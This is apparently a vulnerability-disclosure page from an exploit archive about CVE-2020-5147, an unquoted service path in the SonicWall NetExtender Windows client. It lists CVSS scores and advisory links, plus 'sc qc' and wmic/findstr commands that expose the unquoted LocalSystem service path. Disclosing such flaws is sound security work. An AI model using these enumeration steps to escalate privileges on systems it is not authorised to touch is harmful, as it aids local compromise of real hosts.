SonicWall NetExtender 10.2.0.300 Unquoted Service Path

2021.08.17
Credit: shinnai
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-428


CVSS Base Score: 4.6/10
Impact Subscore: 6.4/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: SonicWall NetExtender 10.2.0.300 - Unquoted Service Path # Exploit Author: shinnai # Software Link: https://www.sonicwall.com/products/remote-access/vpn-clients/ # Version: 10.2.0.300 # Tested On: Windows # CVE: CVE-2020-5147 --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Title: SonicWall NetExtender windows client unquoted service path vulnerability Vers.: 10.2.0.300 Down.: https://www.sonicwall.com/products/remote-access/vpn-clients/ Advisory: https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2020-0023 CVE ID: CVE-2020-5147 (https://nvd.nist.gov/vuln/detail/CVE-2020-5147) URLs: https://besteffortteam.it/sonicwall-netextender-windows-client-unquoted-service-path-vulnerability/ https://shinnai.altervista.org/exploits/SH-029-20210109.html Desc.: SonicWall NetExtender Windows client vulnerable to unquoted service path vulnerability, this allows a local attacker to gain elevated privileges in the host operating system. This vulnerability impact SonicWall NetExtender Windows client version 10.2.300 and earlier. Poc: C:\>sc qc sonicwall_client_protection_svc [SC] QueryServiceConfig OPERAZIONI RIUSCITE NOME_SERVIZIO: sonicwall_client_protection_svc TIPO : 10 WIN32_OWN_PROCESS TIPO_AVVIO : 2 AUTO_START CONTROLLO_ERRORE : 1 NORMAL NOME_PERCORSO_BINARIO : C:\Program Files\SonicWall\Client Protection Service\SonicWallClientProtectionService.exe <-- Unquoted Service Path Vulnerability GRUPPO_ORDINE_CARICAMENTO : TAG : 0 NOME_VISUALIZZATO : SonicWall Client Protection Service DIPENDENZE : SERVICE_START_NAME : LocalSystem C:\> ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """ SonicWall Client Protection Service sonicwall_client_protection_svc C:\Program Files\SonicWall\Client Protection Service\SonicWallClientProtectionService.exe Auto C:\> ----------------------------------------------------------------------------------------------------------------------------------------------------------------------


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top